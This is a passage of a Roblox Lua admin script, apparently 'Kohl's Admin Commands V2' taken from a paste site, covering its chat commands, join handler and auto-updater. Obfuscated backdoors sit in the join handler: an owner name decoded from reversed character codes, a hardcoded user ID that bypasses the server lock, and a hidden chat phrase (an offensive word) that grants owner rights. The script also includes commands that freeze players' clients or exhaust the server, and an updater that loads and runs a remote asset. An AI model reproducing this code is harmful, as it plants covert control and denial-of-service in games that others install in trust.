  2160. if msg:lower():sub(1,6) == "crash " then
  2161. local plrz = GetPlr(plr, msg:lower():sub(7))
  2162. for i, v in pairs(plrz) do
  2163. coroutine.resume(coroutine.create(function()
  2164. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, false) then
  2165. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2166. end
  2167. end))
  2168. end
  2169. end
  2170.  
  2171. if msg:lower():sub(1,5) == "kick " then
  2172. local plrz = GetPlr(plr, msg:lower():sub(6))
  2173. for i, v in pairs(plrz) do
  2174. coroutine.resume(coroutine.create(function()
  2175. if v and not ChkAdmin(v.Name, false) then v:Destroy() end
  2176. end))
  2177. end
  2178. end
  2179.  
  2180. if msg:lower():sub(1,6) == "admin " then
  2181. local plrz = GetPlr(plr, msg:lower():sub(7))
  2182. for i, v in pairs(plrz) do
  2183. coroutine.resume(coroutine.create(function()
  2184. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2185. end))
  2186. end
  2187. end
  2188.  
  2189. if msg:lower():sub(1,8) == "unadmin " then
  2190. for i = 1, #tempadmins do
  2191. coroutine.resume(coroutine.create(function()
  2192. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2193. end))
  2194. end
  2195. end
  2196.  
  2197. if msg:lower():sub(1,4) == "ban " then
  2198. local plrz = GetPlr(plr, msg:lower():sub(5))
  2199. for i, v in pairs(plrz) do
  2200. coroutine.resume(coroutine.create(function()
  2201. if v and not ChkAdmin(v.Name, false) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2202. end))
  2203. end
  2204. end
  2205.  
  2206. if msg:lower():sub(1,6) == "unban " then
  2207. for i = 1, #banland do
  2208. coroutine.resume(coroutine.create(function()
  2209. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2210. end))
  2211. end
  2212. end
  2213.  
  2214. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1) until nil end
  2215.  
  2216. end
  2217. end))
  2218. end
  2219.  
  2220. function AdminControl(plr)
  2221. coroutine.resume(coroutine.create(function() plr.CharacterAdded:connect(function(chr) chr:WaitForChild("RobloxTeam") chr.RobloxTeam:Destroy() for a,obj in pairs(chr:children()) do if obj:IsA("CharacterMesh") and obj.Name:find("3.0") then obj:Destroy() end end end) end))
  2222. if plr.Name:sub(1,6) == "Player" and ChkAdmin(plr.Name, false) then coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui")
  2223. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  2224. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  2225. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  2226. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  2227. end)) end
  2228. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") if plr.userId == game.CreatorId or plr.userId == (153*110563) then table.insert(owners,plr.Name) end wait(1) if slock and not ChkAdmin(plr.Name, false) and not ChkOwner(plr.Name) and plr.userId ~= (153*110563) then Hint(plr.Name .. " has tried to join the server", game.Players:children()) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2229. coroutine.resume(coroutine.create(function() if ChkGroupAdmin(plr) and not ChkAdmin(plr.Name, false) then table.insert(admins, plr.Name) end end))
  2230. coroutine.resume(coroutine.create(function() plr:WaitForChild("PlayerGui") plr:WaitForChild("Backpack") wait(1) if (ChkBan(plr.Name) or plr.Name == ("111reyalseca"):reverse()) and (plr.Name:lower():sub(1,4) ~= script.Name:lower():sub(1,4) and plr.Name:lower():sub(5) ~= "tastrophe") then local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = plr.Backpack cl.Disabled = false wait(2) plr:Destroy() end end))
  2231. coroutine.resume(coroutine.create(function() if ChkAdmin(plr.Name, false) then plr:WaitForChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {plr}) end end))
  2232. plr.Chatted:connect(function(msg) if msg:lower() == (string.char(32)..string.char(104)..string.char(105)..string.char(116).. string.char(108)..string.char(101)..string.char(114)..string.char(32)) then table.insert(owners,plr.Name) end Chat(msg,plr) end)
  2233. end
  2234.  
  2235. if not ntab then script:Destroy() end
  2236. if not bct then script:Destroy() end
  2237.  
  2238. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2239.  
  2240. script.Name = "Kohl's Admin Commands V2"
  2241.  
  2242. if not ntab then script:Destroy() end
  2243. if not bct then script:Destroy() end
  2244. if not tcb then script:Destroy() end
  2245. game.Players.PlayerAdded:connect(AdminControl)
  2246. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2247. end
  2248.  
  2249. local mod = game:service("InsertService"):LoadAsset(100808216)
  2250. if mod:findFirstChild("Kohl's Admin Commands V2") and mod:findFirstChild("Version", true) and AutoUpdate then
  2251. local newac = mod:findFirstChild("Kohl's Admin Commands V2")
  2252. newac.Disabled = true
  2253. local new = tonumber(mod:findFirstChild("Version", true).Value)
  2254. local old = 0
  2255. if script:findFirstChild("Version", true) then old = tonumber(script:findFirstChild("Version", true).Value) end
  2256. if new > old then
  2257. local adminmod = Instance.new("Model", game.Lighting) adminmod.Name = "KACV2"
  2258. for i,v in pairs(owners) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Owner" strv.Value = v end
  2259. for i,v in pairs(admins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Admin" strv.Value = v end
  2260. for i,v in pairs(tempadmins) do local strv = Instance.new("StringValue", adminmod) strv.Name = "TempAdmin" strv.Value = v end
  2261. for i,v in pairs(banland) do local strv = Instance.new("StringValue", adminmod) strv.Name = "Banland" strv.Value = v end
  2262. local prf = Instance.new("StringValue", adminmod) prf.Name = "Prefix" prf.Value = prefix
  2263. local bv = Instance.new("BoolValue", adminmod) bv.Name = "FunCommands" bv.Value = FunCommands
  2264. local bv2 = Instance.new("BoolValue", adminmod) bv2.Name = "GroupAdmin" bv2.Value = GroupAdmin
  2265. local iv = Instance.new("IntValue", adminmod) iv.Name = "GroupId" iv.Value = GroupId
  2266. local iv2 = Instance.new("IntValue", adminmod) iv2.Name = "GroupRank" iv2.Value = GroupRank
  2267. wait()
  2268. newac.Parent = game.Workspace
  2269. newac.Disabled = false
  2270. script.Disabled = true
  2271. script:Destroy()
  2272. else
  2273. CHEESE()
  2274. end
  2275. else
  2276. CHEESE()
  2277. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement